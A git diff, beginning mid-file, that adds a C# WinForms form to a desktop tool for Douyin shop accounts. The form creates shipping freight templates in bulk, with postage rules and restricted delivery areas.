408); + this.panelEx1.Style.Alignment = System.Drawing.StringAlignment.Center; + this.panelEx1.Style.BackColor1.Color = System.Drawing.Color.White; + this.panelEx1.Style.BackColor2.Color = System.Drawing.Color.White; + this.panelEx1.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.panelEx1.Style.BorderColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.panelEx1.Style.ForeColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelText; + this.panelEx1.Style.GradientAngle = 90; + this.panelEx1.TabIndex = 183; + // + // ucTabControl1 + // + this.ucTabControl1.BackgroundColor = System.Drawing.Color.White; + this.ucTabControl1.Controls.Add(this.tabPage1); + this.ucTabControl1.Controls.Add(this.tabPage2); + this.ucTabControl1.Dock = System.Windows.Forms.DockStyle.Fill; + this.ucTabControl1.Location = new System.Drawing.Point(1, 1); + this.ucTabControl1.Name = "ucTabControl1"; + this.ucTabControl1.Padding = new System.Drawing.Point(10, 3); + this.ucTabControl1.SelectedIndex = 0; + this.ucTabControl1.ShowCloseButton = true; + this.ucTabControl1.Size = new System.Drawing.Size(847, 406); + this.ucTabControl1.TabIndex = 0; + this.ucTabControl1.TabSelectColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.ucTabControl1.TabTextColor = System.Drawing.Color.Gray; + // + // tabPage1 + // + this.tabPage1.Location = new System.Drawing.Point(2, 26); + this.tabPage1.Name = "tabPage1"; + this.tabPage1.Padding = new System.Windows.Forms.Padding(3); + this.tabPage1.Size = new System.Drawing.Size(841, 376); + this.tabPage1.TabIndex = 0; + this.tabPage1.Text = "店铺1"; + this.tabPage1.UseVisualStyleBackColor = true; + // + // tabPage2 + // + this.tabPage2.Location = new System.Drawing.Point(2, 26); + this.tabPage2.Name = "tabPage2"; + this.tabPage2.Padding = new System.Windows.Forms.Padding(3); + this.tabPage2.Size = new System.Drawing.Size(841, 376); + this.tabPage2.TabIndex = 1; + this.tabPage2.Text = "店铺2"; + this.tabPage2.UseVisualStyleBackColor = true; + // + // splitContainer4 + // + this.splitContainer4.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer4.FixedPanel = System.Windows.Forms.FixedPanel.Panel2; + this.splitContainer4.Location = new System.Drawing.Point(0, 0); + this.splitContainer4.Name = "splitContainer4"; + // + // splitContainer4.Panel1 + // + this.splitContainer4.Panel1.Controls.Add(this.statusBar); + // + // splitContainer4.Panel2 + // + this.splitContainer4.Panel2.Controls.Add(this.btnClear); + this.splitContainer4.Size = new System.Drawing.Size(1127, 26); + this.splitContainer4.SplitterDistance = 1012; + this.splitContainer4.TabIndex = 3; + // + // statusBar + // + this.statusBar.BackColor = System.Drawing.Color.White; + this.statusBar.Dock = System.Windows.Forms.DockStyle.Fill; + this.statusBar.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.statusBar.Location = new System.Drawing.Point(0, 0); + this.statusBar.Margin = new System.Windows.Forms.Padding(0); + this.statusBar.Name = "statusBar"; + this.statusBar.Size = new System.Drawing.Size(1012, 26); + this.statusBar.TabIndex = 2; + // + // btnClear + // + this.btnClear.Anchor = System.Windows.Forms.AnchorStyles.Right; + this.btnClear.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnClear.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnClear.DisabledBackColor = System.Drawing.Color.Empty; + this.btnClear.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnClear.Location = new System.Drawing.Point(17, 0); + this.btnClear.Name = "btnClear"; + this.btnClear.Size = new System.Drawing.Size(90, 21); + this.btnClear.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnClear.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnClear.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnClear.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.btnClear.Style.BorderDashStyle = System.Drawing.Drawing2D.DashStyle.Dash; + this.btnClear.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.btnClear.Style.ForeColor.Color = System.Drawing.Color.White; + this.btnClear.Style.GradientAngle = 90; + this.btnClear.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnClear.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnClear.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnClear.StyleMouseOver.ForeColor.Color = System.Drawing.Color.White; + this.btnClear.TabIndex = 440; + this.btnClear.Text = "清空结果"; + // + // chkLimited + // + this.chkLimited.AutoSize = true; + this.chkLimited.Location = new System.Drawing.Point(22, 61); + this.chkLimited.Name = "chkLimited"; + this.chkLimited.Size = new System.Drawing.Size(131, 21); + this.chkLimited.TabIndex = 657; + this.chkLimited.Text = "限制下单区域(可选)"; + this.chkLimited.UseVisualStyleBackColor = true; + // + // FreightTemplateForm + // + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.None; + this.BackColor = System.Drawing.Color.White; + this.ClientSize = new System.Drawing.Size(1127, 592); + this.Controls.Add(this.splitContainer1); + this.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.Name = "FreightTemplateForm"; + this.Text = "FreightTemplateForm"; + this.Load += new System.EventHandler(this.FreightTemplateForm_Load); + this.VisibleChanged += new System.EventHandler(this.FreightTemplateForm_VisibleChanged); + this.splitContainer1.Panel1.ResumeLayout(false); + this.splitContainer1.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).EndInit(); + this.splitContainer1.ResumeLayout(false); + this.ucGroupBoxEx3.ResumeLayout(false); + this.ucGroupBoxEx3.PerformLayout(); + this.pnlSamePostage.ResumeLayout(false); + this.pnlSamePostage.PerformLayout(); + this.panel3.ResumeLayout(false); + this.panel3.PerformLayout(); + this.pnlStepPostage.ResumeLayout(false); + this.pnlStepPostage.PerformLayout(); + this.panel2.ResumeLayout(false); + this.panel2.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.nudGroupCount)).EndInit(); + this.panel1.ResumeLayout(false); + this.panel1.PerformLayout(); + this.ucGroupBoxEx2.ResumeLayout(false); + this.ucGroupBoxEx2.PerformLayout(); + this.ucGroupBoxEx1.ResumeLayout(false); + this.splitContainer3.Panel1.ResumeLayout(false); + this.splitContainer3.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer3)).EndInit(); + this.splitContainer3.ResumeLayout(false); + this.splitContainer2.Panel1.ResumeLayout(false); + this.splitContainer2.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer2)).EndInit(); + this.splitContainer2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.dgvShop)).EndInit(); + this.panelEx1.ResumeLayout(false); + this.ucTabControl1.ResumeLayout(false); + this.splitContainer4.Panel1.ResumeLayout(false); + this.splitContainer4.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer4)).EndInit(); + this.splitContainer4.ResumeLayout(false); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.SplitContainer splitContainer1; + private UserComponent.UcGroupBoxEx ucGroupBoxEx2; + private System.Windows.Forms.TextBox txtSearchText; + private System.Windows.Forms.Label label4; + private DevComponents.DotNetBar.PanelEx btnSearch; + private DevComponents.DotNetBar.PanelEx btnStop; + private UserComponent.UcGroupBoxEx ucGroupBoxEx1; + private DevComponents.DotNetBar.PanelEx btnRefreshShop; + private System.Windows.Forms.SplitContainer splitContainer3; + private System.Windows.Forms.SplitContainer splitContainer2; + private UserComponent.DataGridViewEx dgvShop; + private DevComponents.DotNetBar.PanelEx panelEx1; + private UserComponent.UcTabControl ucTabControl1; + private System.Windows.Forms.TabPage tabPage1; + private System.Windows.Forms.TabPage tabPage2; + private System.Windows.Forms.SplitContainer splitContainer4; + private UserControls.StatusBarUserControl statusBar; + private DevComponents.DotNetBar.PanelEx btnClear; + private UserComponent.UcGroupBoxEx ucGroupBoxEx3; + private DevComponents.DotNetBar.PanelEx btnAdd; + private DevComponents.DotNetBar.PanelEx btnStopAdd; + private System.Windows.Forms.Panel panel1; + private System.Windows.Forms.RadioButton rbAutoName; + private System.Windows.Forms.RadioButton rbCustomName; + private DevComponents.DotNetBar.PanelEx btnSetName; + private System.Windows.Forms.Panel panel2; + private DevComponents.DotNetBar.PanelEx btnSetNotArea; + private System.Windows.Forms.NumericUpDown nudGroupCount; + private System.Windows.Forms.Label label11; + private System.Windows.Forms.FlowLayoutPanel pnlSamePostage; + private System.Windows.Forms.Label label12; + private System.Windows.Forms.TextBox txtSamePostagePrice; + private System.Windows.Forms.Label label13; + private System.Windows.Forms.Panel panel3; + private System.Windows.Forms.RadioButton rbSamePostage; + private System.Windows.Forms.RadioButton rbStepPostage; + private System.Windows.Forms.RadioButton rbNoPostage; + private System.Windows.Forms.FlowLayoutPanel pnlStepPostage; + private System.Windows.Forms.Label label2; + private System.Windows.Forms.TextBox txtWeightOrCountStep1; + private System.Windows.Forms.Label lblWeightOrCountStep1; + private System.Windows.Forms.TextBox txtWeightOrCountPrice1; + private System.Windows.Forms.Label label5; + private System.Windows.Forms.Label label6; + private System.Windows.Forms.TextBox txtWeightOrCountStep2; + private System.Windows.Forms.Label lblWeightOrCountStep2; + private System.Windows.Forms.TextBox txtWeightOrCountPrice2; + private System.Windows.Forms.Label label8; + private System.Windows.Forms.TextBox textBox2; + private System.Windows.Forms.ToolTip toolTip1; + private System.Windows.Forms.RadioButton rbWithCount; + private System.Windows.Forms.RadioButton rbWithWeight; + private DevComponents.DotNetBar.Controls.ComboBoxEx cmbCity; + private DevComponents.DotNetBar.Controls.ComboBoxEx cmbProvince; + private System.Windows.Forms.Label label3; + private System.Windows.Forms.Label label7; + private System.Windows.Forms.DataGridViewCheckBoxColumn colSelect; + private System.Windows.Forms.DataGridViewTextBoxColumn colShopId; + private System.Windows.Forms.DataGridViewTextBoxColumn colShopName; + private System.Windows.Forms.DataGridViewTextBoxColumn colBuyAuthStatus; + private System.Windows.Forms.DataGridViewTextBoxColumn colLoginStatus; + private System.Windows.Forms.DataGridViewCheckBoxColumn colCanUse; + private System.Windows.Forms.DataGridViewTextBoxColumn colMessage; + private System.Windows.Forms.CheckBox chkLimited; + } +} \ No newline at end of file diff --git a/TEMUKJD/KJDForms/ShopForms/FreightTemplateForm.cs b/TEMUKJD/KJDForms/ShopForms/FreightTemplateForm.cs new file mode 100644 index 0000000..79355e1 --- /dev/null +++ b/TEMUKJD/KJDForms/ShopForms/FreightTemplateForm.cs @@ -0,0 +1,665 @@ +using AllBase; +using AllBase.Helper; +using AllBase.Model.Param.OrderManage; +using AllBase.Model.Result; +using LittleRabbit.Extension; +using LittleRabbit.LittleRabbitForms.BaseForms; +using NaiBa.Util.Extension; +using NaiBa.Util.Helper; +using Newtonsoft.Json.Linq; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Threading; +using System.Threading.Tasks; +using System.Windows.Forms; +using Work; +using Work.DouyinApiClass; + +namespace LittleRabbit.LittleRabbitForms.ShopForms +{ + public partial class FreightTemplateForm : Form + { + public static List LstAddress = new List(); + public static List CustomFreightTemplateNames { get; set; } = new List(); + + public static Dictionary AreaNotSendDict = new Dictionary(); + + private CheckBox chkSelectAll = null; + public CancellationTokenSource cancellationTokenSource { get; set; } = null; + + public FreightTemplateForm() + { + InitializeComponent(); + } + + private void FreightTemplateForm_Load(object sender, EventArgs e) + { + pnlSamePostage.Location = pnlStepPostage.Location; + + this.ucTabControl1.TabPages.Clear(); + + CustomFreightTemplateNames = ConfigHelper.LoadConfig>("freight_template_custom_names"); + if (CustomFreightTemplateNames == null) + { + CustomFreightTemplateNames = new List(); + } + + AreaNotSendDict = ConfigHelper.LoadConfig>("not_send_address"); + if (AreaNotSendDict == null) + AreaNotSendDict = new Dictionary(); + + chkSelectAll = dgvShop.Columns["colSelect"].AddHeaderCheckBox(HorizontalAlignment.Center, 0, 0, null, null, false); + dgvShop.Columns["colSelect"].HeaderText = ""; + chkSelectAll.Width = chkSelectAll.Height = 13; + chkSelectAll.CheckedChanged += chkSelectAll_CheckedChanged; + + GetAddress("0"); + + var provinceNames = LstAddress.Where(a => a.level == "Province").Select(a => a.name as object).ToArray(); + this.cmbProvince.Items.Clear(); + this.cmbProvince.Items.AddRange(provinceNames); + this.cmbProvince.SelectedIndex = 0; + } + + private void FreightTemplateForm_VisibleChanged(object sender, EventArgs e) + { + if (Visible == true) + RefreshShop(); + } + + private void btnRefreshShop_Click(object sender, EventArgs e) + { + RefreshShop(); + } + + private void RefreshShop() + { + // 店铺Id + var selectIds = dgvShop.Rows.Cast().Where(row + => row.Cells["colSelect"]?.Value.ParseToBool() == true).Select(r => r.Cells["colShopId"]?.Value.ToString()).ToList(); + // 获取被删除的店铺 + List dgvRowList = dgvShop.Rows.Cast().Where(row + => !GlobalConfig.DouShopLoginList.Any(s => s.ShopAccountId == row.Cells["colShopId"]?.Value?.ToString())).ToList(); + // 更新被删除的店铺列表 + foreach (var row in dgvRowList) + { + dgvShop.Rows.Remove(row); + } + // 绑定其他店铺(含新导入的店铺) + foreach (DouShopLoginInfo shopEntity in GlobalConfig.DouShopLoginList) + { + BindShop(shopEntity, selectIds); + } + } + private void BindShop(DouShopLoginInfo shopEntity, List selectShopId = null) + { + if (shopEntity == null) + return; + if (selectShopId == null) + selectShopId = new List(); + + bool canUse = shopEntity.BuyApiAuth.ApiAuthStatus == "授权成功" && shopEntity.LoginStatus == "登录成功"; + var row = dgvShop.Rows.Cast().FirstOrDefault(p => p.Cells.GetCellValueFromColumnName("colShopId").ParseToString() == shopEntity.ShopAccountId); + if (row == null) + { + this.dgvShop.Rows.Add( + selectShopId.Contains(shopEntity.ShopAccountId) && canUse, + shopEntity.ShopAccountId, + shopEntity.ShopAccount, + shopEntity.BuyApiAuth.ApiAuthStatus, + shopEntity.LoginStatus, + canUse, + string.Empty + ); + } + else + { + row.Cells["colSelect"].Value = selectShopId.Contains(shopEntity.ShopAccountId) && canUse; + row.Cells["colShopName"].Value = shopEntity.ShopAccount; + row.Cells["colBuyAuthStatus"].Value = shopEntity.BuyApiAuth.ApiAuthStatus; + row.Cells["colLoginStatus"].Value = shopEntity.LoginStatus; + row.Cells["colCanUse"].Value = canUse; + } + } + + + private void chkSelectAll_CheckedChanged(object sender, EventArgs e) + { + if (!chkSelectAll.Checked) + { + foreach (DataGridViewRow row in dgvShop.Rows) + { + row.Cells["colSelect"].Value = false; + } + } + else + { + var list = GlobalConfig.DouShopLoginList.Where(s => s.ApiAuthStatus == "授权成功" && s.LoginStatus == "登录成功").Select(ss => ss.ShopAccountId); + foreach (DataGridViewRow row in dgvShop.Rows) + { + if (list.Any(l => l == row.Cells["colShopId"]?.Value?.ToString())) + row.Cells["colSelect"].Value = true; + } + } + } + + private void dgvShop_CellContentClick(object sender, DataGridViewCellEventArgs e) + { + if (e.ColumnIndex < 0 || e.RowIndex < 0) + return; + string headerText = dgvShop.Columns[e.ColumnIndex].HeaderText; + string columnName = dgvShop.Columns[e.ColumnIndex].Name; + long shopId = dgvShop.Rows[e.RowIndex].Cells["colShopId"].Value.ParseToLong(); + string shopName = dgvShop.Rows[e.RowIndex].Cells["colShopId"].Value.ToString(); + var shop = GlobalConfig.DouShopLoginList.FirstOrDefault(s => s.ShopAccountId == shopId.ToString()); + var row = dgvShop.Rows[e.RowIndex]; + switch (columnName) + { + case "colSelect": + if (row.Cells["colCanUse"].Value.ParseToBool()) + { + row.Cells["colSelect"].Value = !row.Cells["colSelect"].Value.ParseToBool(); + if (dgvShop.Rows.Cast().All(r => r.Cells["colSelect"].Value.ParseToBool())) + chkSelectAll.Checked = true; + else + chkSelectAll.Checked = false; + } + else + { + BaseMsgForm.ShowInfo("店铺未授权或未登录!"); + } + break; + } + } + + private void btnSearch_Click(object sender, EventArgs e) + { + var lstShopId = dgvShop.Rows.Cast().Where(row + => row.Cells["colSelect"]?.Value.ParseToBool() == true).Select(r => r.Cells["colShopId"]?.Value.ToString()).ToList(); + if (lstShopId.Count == 0) + { + BaseMsgForm.ShowInfo("请选择店铺!"); + return; + } + + string searchText = txtSearchText.Text.Trim(); + btnSearch.Enabled = false; + + cancellationTokenSource = new CancellationTokenSource(); + Task.Run(() => + { + var lstShopIdTemp = new List(); + lstShopIdTemp.AddRange(lstShopId); + + foreach (var shopId in lstShopIdTemp) + { + if (cancellationTokenSource.IsCancellationRequested) + break; + + var shop = GlobalConfig.DouShopLoginList.FirstOrDefault(s => s.ShopAccountId == shopId); + if (shop == null) + continue; + + if (ShopListForm.Instance == null) + ShopListForm.Instance = new ShopListForm(); + ShopListForm.Instance.CheckShopLogin(new string[] { shop.ShopAccount }, false); + if (shop.LoginStatus != "登录成功") + { + Invoke(new Action(() => + { + var row = this.dgvShop.Rows.Cast().FirstOrDefault(r => r.Cells["colShopId"].Value.ToString() == shop.ShopAccountId); + if (row != null) + { + row.Cells["colLoginStatus"].Value = "未登录"; + row.Cells["colCanUse"].Value = false; + } + })); + continue; + } + + FreightTemplateListForm templateListForm = null; + Invoke(new Action(() => + { + var tab = this.ucTabControl1.TabPages.Cast().FirstOrDefault(t => t.Text == shop.ShopAccount && t.Name == "tab" + shop.ShopAccountId); + if (tab == null) + { + tab = new TabPage(); + tab.Name = "tab" + shop.ShopAccountId; + tab.Text = shop.ShopAccount; + this.ucTabControl1.TabPages.Add(tab); + + var freightTemplateListForm = new FreightTemplateListForm(shop); + //freightTemplateListForm.SeckillingAndLimitedSalesForm = this; + freightTemplateListForm.TopLevel = false; + freightTemplateListForm.Left = 0; + freightTemplateListForm.Top = 0; + freightTemplateListForm.FormBorderStyle = FormBorderStyle.None; + freightTemplateListForm.AutoSize = true; + freightTemplateListForm.Dock = DockStyle.Fill; + freightTemplateListForm.Show(); + tab.Controls.Add(freightTemplateListForm); + templateListForm = freightTemplateListForm; + } + + if (tab.Controls.Count > 0) + { + templateListForm = tab.Controls[0] as FreightTemplateListForm; + this.ucTabControl1.SelectedTab = tab; + } + })); + + if (templateListForm != null) + { + templateListForm.GetTemplate(this.txtSearchText.Text); + } + } + Invoke(new Action(() => + { + btnSearch.Enabled = true; + })); + }, cancellationTokenSource.Token); + } + + public static AddressAreaInfo GetAddress(string areaId) + { + if (LstAddress.Count == 0) + LstAddress = ConfigHelper.LoadConfig>("address_area"); + if (LstAddress == null) + LstAddress = new List(); + if (string.IsNullOrEmpty(areaId) || areaId == "0") + { + if (LstAddress.Count > 0) + return null; + } + + var addr = LstAddress.FirstOrDefault(a => a.code.ToString() == areaId); + if (addr != null && (addr.sub_districts != null || addr.level == "Town")) + return addr; + + var shop = GlobalConfig.DouShopLoginList.FirstOrDefault(s => s.BuyApiAuth.ApiAuthStatus == "授权成功"); + if (shop == null) + { + BaseMsgForm.ShowError("请确保有店铺拍单授权成功!"); + return null; + } + + DouyinApi api = new DouyinApi(shop); + var result = api.GetDouyinAddressAreaByBuyApi(areaId); + if (!result.Contains("\"code\":10000")) + { + var msg = BaseRegex.GetStringJson(ref result, "msg") + ":" + BaseRegex.GetStringJson(ref result, "sub_msg"); + BaseMsgForm.ShowError(msg); + return null; + } + + if (string.IsNullOrEmpty(areaId) || areaId == "0") + { + JObject obj = JObject.Parse(result); + List provinceList = AllBase.JsonHelper.DeserializeJsonToList(obj["data"].ToString()); + foreach (var province in provinceList) + { + LstAddress.Add(new AddressAreaInfo() + { + father_code = 1, + code = province.province_id.ParseToInt(), + level = "Province", + name = province.province, + }); + } + ConfigHelper.SaveConfig("address_area", LstAddress); + return LstAddress.FirstOrDefault(); + } + else + { + JObject obj = JObject.Parse(result); + AddressAreaInfo area = AllBase.JsonHelper.DeserializeJsonToObject(obj["data"].FirstOrDefault().ToString()); + if (area != null) + { + var areaExist = LstAddress.FirstOrDefault(a => a.name == area.name && a.level == area.level); + if (areaExist == null) + { + LstAddress.Add(area); + ConfigHelper.SaveConfig("address_area", LstAddress); + return area; + } + else + { + areaExist.sub_districts = area.sub_districts; + areaExist.father_code = area.father_code; + ConfigHelper.SaveConfig("address_area", LstAddress); + return areaExist; + } + + foreach (var area1 in area.sub_districts) + { + + } + } + } + + return null; + } + + private void cmbProvince_SelectedIndexChanged(object sender, EventArgs e) + { + var area = LstAddress.FirstOrDefault(a => a.name == cmbProvince.Text && a.level == "Province"); + if (area != null) + { + if (area.sub_districts == null || area.sub_districts.Count == 0) + { + area = GetAddress(area.code.ToString()); + } + var cityArr = area.sub_districts.Select(a => a.name).ToArray(); + this.cmbCity.Items.Clear(); + this.cmbCity.Items.AddRange(cityArr); + this.cmbCity.SelectedIndex = 0; + } + } + + private void btnStopSearch_Click(object sender, EventArgs e) + { + if (cancellationTokenSource != null) + cancellationTokenSource.Cancel(); + } + + private void btnSetName_Click(object sender, EventArgs e) + { + FreightTemplateNameForm customNameForm = new FreightTemplateNameForm(); + customNameForm.ShowDialog(); + } + + private void rbStepPostage_CheckedChanged(object sender, EventArgs e) + { + pnlStepPostage.Visible = rbStepPostage.Checked; + } + + private void rbSamePostage_CheckedChanged(object sender, EventArgs e) + { + pnlSamePostage.Visible = rbSamePostage.Checked; + } + + private void rbWithWeight_CheckedChanged(object sender, EventArgs e) + { + if (rbWithWeight.Checked) + { + lblWeightOrCountStep1.Text = "kg以内,"; + lblWeightOrCountStep2.Text = "kg,增加运费"; + } + else + { + lblWeightOrCountStep1.Text = "件以内,"; + lblWeightOrCountStep2.Text = "件,增加运费"; + } + } + + private void btnSetNotArea_Click(object sender, EventArgs e) + { + FreightTemplateNotSendAreaForm form = new FreightTemplateNotSendAreaForm(); + form.ShowDialog(); + } + + private void btnAdd_Click(object sender, EventArgs e) + { + var lstShopId = dgvShop.Rows.Cast().Where(row + => row.Cells["colSelect"]?.Value.ParseToBool() == true).Select(r => r.Cells["colShopId"]?.Value.ToString()).ToList(); + if (lstShopId.Count == 0) + { + BaseMsgForm.ShowInfo("请选择店铺!"); + return; + } + + int templateCount = nudGroupCount.Value.ParseToInt(); + bool isLimit = chkLimited.Checked; + + List nameList = new List(); + if (rbCustomName.Checked) + { + if (CustomFreightTemplateNames.Count < templateCount) + { + BaseMsgForm.ShowError("自定义模板名称数量不足"); + return; + } + for (int i = 0; i < templateCount; i++) + { + nameList.Add(CustomFreightTemplateNames[i]); + } + } + else + { + var name = "模板" + DateTime.Now.ToString("yyMMddHHmmss"); + for (int i = 0; i < templateCount; i++) + { + nameList.Add(name + "-" + i.ToString()); + } + } + + TemplateParam templateParam = new TemplateParam(); + var area = LstAddress.FirstOrDefault(a => a.name == cmbProvince.Text && a.level == "Province"); + if (area != null) + { + templateParam.product_province = area.code; + templateParam.product_city = (area.sub_districts.FirstOrDefault(a => a.name == cmbCity.Text && a.level == "City")?.code).ParseToLong(); + } + if (rbStepPostage.Checked && rbWithWeight.Checked) + templateParam.calculate_type = 1; + templateParam.transfer_type = 1; + templateParam.rule_type = rbStepPostage.Checked ? 0 : rbSamePostage.Checked ? 1 : 2; + templateParam.fixed_amount = (int)(txtSamePostagePrice.Text.ParseToDecimal() * 100); + + List ruleList = new List(); + if (templateParam.rule_type == 0) + { + TemplateRulesParam defaultRules = new TemplateRulesParam(); + defaultRules.is_default = 1; + if (rbWithCount.Checked) + { + defaultRules.first_num = txtWeightOrCountStep1.Text.ParseToInt(); + defaultRules.first_num_price = txtWeightOrCountPrice1.Text.ParseToDecimal(); + defaultRules.add_num = txtWeightOrCountStep2.Text.ParseToInt(); + defaultRules.add_num_price = txtWeightOrCountPrice2.Text.ParseToDecimal(); + } + else + { + defaultRules.first_weight = txtWeightOrCountStep1.Text.ParseToInt(); + defaultRules.first_weight_price = txtWeightOrCountPrice1.Text.ParseToDecimal(); + defaultRules.add_weight = txtWeightOrCountStep2.Text.ParseToInt(); + defaultRules.add_weight_price = txtWeightOrCountPrice2.Text.ParseToDecimal(); + } + ruleList.Add(defaultRules); + } + if (isLimit) + { + TemplateRulesParam rules = new TemplateRulesParam(); + if (ruleList.Count == 0) + { + //rules.is_default = 1; + } + rules.is_limited = true; + + Dictionary pDict = new Dictionary(); + foreach (var key in AreaNotSendDict.Keys) + { + var keys = key.Trim('p').Split('c', 'd', 't'); + if (!pDict.Keys.Contains(keys[0])) + pDict[keys[0]] = null; + + if (keys.Length > 1) + { + var cDict = pDict[keys[0]] as Dictionary; + if (cDict == null) + { + cDict = new Dictionary(); + pDict[keys[0]] = cDict; + } + if (!cDict.Keys.Contains(keys[1])) + cDict[keys[1]] = null; + + if (keys.Length > 2) + { + var dDict = cDict[keys[1]] as Dictionary; + if (dDict == null) + { + dDict = new Dictionary(); + cDict[keys[1]] = dDict; + } + if (!dDict.Keys.Contains(keys[2])) + dDict[keys[2]] = null; + + if (keys.Length > 3) + { + var tList = new List(); + tList.Add(keys[3]); + if (dDict[keys[2]] == null) + dDict[keys[2]] = tList; + else + (dDict[keys[2]] as List).AddRange(tList); + } + } + } + } + var str = AllBase.JsonHelper.SerializeObject(pDict); + //rules.rule_address = str.Replace("\"", "\\\""); + + List areaInfos = new List(); + foreach (var key in AreaNotSendDict.Keys) + { + var keys = key.Trim('p').Split('c', 'd', 't'); + ProvinceInfo pInfo = areaInfos.FirstOrDefault(p => p.id == keys[0]); + if (pInfo == null) + { + pInfo = new ProvinceInfo() { id = keys[0] }; + areaInfos.Add(pInfo); + } + + if (keys.Length > 1) + { + if (pInfo.children == null) + pInfo.children = new List(); + + var cInfo = pInfo.children.FirstOrDefault(c => c.id == keys[1]); + if (cInfo == null) + { + cInfo = new ProvinceInfo() { id = keys[1] }; + pInfo.children.Add(cInfo); + } + + if (keys.Length > 2) + { + if (cInfo.children == null) + cInfo.children = new List(); + + var dInfo = cInfo.children.FirstOrDefault(d => d.id == keys[2]); + if (dInfo == null) + { + dInfo = new ProvinceInfo() { id = keys[2] }; + cInfo.children.Add(dInfo); + } + + if (keys.Length > 3) + { + if (dInfo.children == null) + dInfo.children = new List(); + + var tInfo = dInfo.children.FirstOrDefault(t => t.id == keys[3]); + if (tInfo == null) + { + tInfo = new ProvinceInfo() { id = keys[3] }; + dInfo.children.Add(tInfo); + } + } + } + } + } + rules.province_infos = areaInfos; + + ruleList.Add(rules); + } + + btnSearch.Enabled = false; + + cancellationTokenSource = new CancellationTokenSource(); + Task.Run(() => + { + var lstShopIdTemp = new List(); + lstShopIdTemp.AddRange(lstShopId); + + foreach (var shopId in lstShopIdTemp) + { + if (cancellationTokenSource.IsCancellationRequested) + break; + + var shop = GlobalConfig.DouShopLoginList.FirstOrDefault(s => s.ShopAccountId == shopId); + if (shop == null) + continue; + + if (ShopListForm.Instance == null) + ShopListForm.Instance = new ShopListForm(); + ShopListForm.Instance.CheckShopLogin(new string[] { shop.ShopAccount }, false); + if (shop.LoginStatus != "登录成功") + { + Invoke(new Action(() => + { + var row = this.dgvShop.Rows.Cast().FirstOrDefault(r => r.Cells["colShopId"].Value.ToString() == shop.ShopAccountId); + if (row != null) + { + row.Cells["colLoginStatus"].Value = "未登录"; + row.Cells["colCanUse"].Value = false; + } + })); + continue; + } + + FreightTemplateListForm templateListForm = null; + Invoke(new Action(() => + { + var tab = this.ucTabControl1.TabPages.Cast().FirstOrDefault(t => t.Text == shop.ShopAccount && t.Name == "tab" + shop.ShopAccountId); + if (tab == null) + { + tab = new TabPage(); + tab.Name = "tab" + shop.ShopAccountId; + tab.Text = shop.ShopAccount; + this.ucTabControl1.TabPages.Add(tab); + + var freightTemplateListForm = new FreightTemplateListForm(shop); + //freightTemplateListForm.SeckillingAndLimitedSalesForm = this; + freightTemplateListForm.TopLevel = false; + freightTemplateListForm.Left = 0; + freightTemplateListForm.Top = 0; + freightTemplateListForm.FormBorderStyle = FormBorderStyle.None; + freightTemplateListForm.AutoSize = true; + freightTemplateListForm.Dock = DockStyle.Fill; + freightTemplateListForm.Show(); + tab.Controls.Add(freightTemplateListForm); + templateListForm = freightTemplateListForm; + } + + if (tab.Controls.Count > 0) + { + templateListForm = tab.Controls[0] as FreightTemplateListForm; + this.ucTabControl1.SelectedTab = tab; + } + })); + + if (templateListForm != null) + { + templateListForm.AddTemplate(nameList, templateParam, ruleList); + } + } + Invoke(new Action(() => + { + btnSearch.Enabled = true; + })); + }, cancellationTokenSource.Token); + } + + private void btnStopAdd_Click(object sender, EventArgs e) + { + + } + } +} diff --git a/TEMUKJD/KJDForms/ShopForms/FreightTemplateForm.resx b/TEMUKJD/KJDForms/ShopForms/FreightTemplateForm.resx new file mode 100644 index 0000000..1b26ccd --- /dev/null +++ b/TEMUKJD/KJDForms/ShopForms/FreightTemplateForm.resx @@ -0,0 +1,138 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + 